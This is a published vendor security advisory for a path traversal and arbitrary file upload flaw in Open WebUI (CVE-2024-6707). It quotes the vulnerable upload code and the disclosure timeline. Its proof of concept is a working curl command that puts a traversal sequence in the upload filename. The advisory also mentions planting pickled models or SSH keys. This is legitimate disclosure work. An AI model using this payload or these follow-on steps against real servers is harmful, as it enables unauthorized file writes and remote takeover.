KL-001-2024-006: Open WebUI Arbitrary File Upload + Path Traversal Title: Open WebUI Arbitrary File Upload + Path Traversal Advisory ID: KL-001-2024-006 Publication Date: 2024.08.D06 Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2024-006.txt 1. Vulnerability Details Affected Vendor: Open WebUI Affected Product: Open WebUI Affected Version: 0.1.105 Platform: Debian 12 CWE Classification: CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), CWE-434: Unrestricted Upload of File with Dangerous Type CVE ID: CVE-2024-6707 2. Vulnerability Description Attacker controlled files can be uploaded to arbitrary locations on the web server's filesystem by abusing a path traversal vulnerability. 3. Technical Description When attaching files to a prompt by clicking the plus sign (+) on the left of the message input box when using the Open WebUI HTTP interface, the file is uploaded to a static upload directory. The name of the file is derived from the original HTTP upload request and is not validated or sanitized. This allows for users to upload files with names containing dot-segments in the file path and traverse out of the intended uploads directory. Effectively, users can upload files anywhere on the filesystem the user running the web server has permission. This can be visualized by examining the python code for the "/rag/api/v1/doc" API route: @app.post("/doc") def store_doc( collection_name: Optional[str] = Form(None), file: UploadFile = File(...), user=Depends(get_current_user), ): # "https://www.gutenberg.org/files/1727/1727-h/1727-h.htm" print(file.content_type) try: filename = file.filename file_path = f"{UPLOAD_DIR}/{filename}" contents = file.file.read() with open(file_path, "wb") as f: f.write(contents) f.close() The "file" variable is a representation of the multipart form data contained within the HTTP POST request. The "filename" variable is derived from the uploaded file name and is not validated before writing the file contents to disk. This can be used to upload malicious models. These models are often distributed as pickled python objects and can be leveraged to execute arbitrary python bytecode once deserialized. Alternatively, an attacker can leverage existing services, such as SSH, to upload an attacker controlled "authorized_keys" file to remotely connect to the machine. 4. Mitigation and Remediation Recommendation This issue was remediated in Open WebUI release v0.1.117 on 2024.04.03. 5. Credit This vulnerability was discovered by Jaggar Henry and Sean Segreti of KoreLogic, Inc. 6. Disclosure Timeline 2024.03.05 - KoreLogic requests secure communications channel and point of contact from OpenWebUI.com via email. 2024.03.12 - KoreLogic submits vulnerability details and suggested patch to maintainer via Github Security 'Report a vulnerability' web form. 2024.04.01 - KoreLogic opens Discussion #1385 via GitHub to request an update from the maintainer. 2024.04.01 - Maintainer opens a private fork and merges KoreLogic's patch. 2024.04.03 - Maintainer releases v0.1.117. 2024.08.06 - KoreLogic public disclosure. 7. Proof of Concept Execute the following cURL command: TARGET_URI='https://redacted.com'; JWT='redacted'; LOCAL_FILE='/tmp/file_to_upload.txt'\ curl -H "Authorization: Bearer $JWT" -F "file=$LOCAL_FILE;filename=../../../../../../../../../../tmp/pwned.txt" "$TARGET_URI/rag/api/v1/doc" Verify the file "pwned.txt" exists in the /tmp/ directory on the machine hosting the web server: ollama@webserver:~$ cat /tmp/pwned.txt korelogic ollama@webserver:~$ The contents of this advisory are copyright(c) 2024 KoreLogic, Inc. and are licensed under a Creative Commons Attribution Share-Alike 4.0 (United States) License: http://creativecommons.org/licenses/by-sa/4.0/ KoreLogic, Inc. is a founder-owned and operated company with a proven track record of providing security services to entities ranging from Fortune 500 to small and mid-sized companies. We are a highly skilled team of senior security consultants doing by-hand security assessments for the most important networks in the U.S. and around the world. We are also developers of various tools and resources aimed at helping the security community. https://www.korelogic.com/about-korelogic.html Our public vulnerability disclosure policy is available at: https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy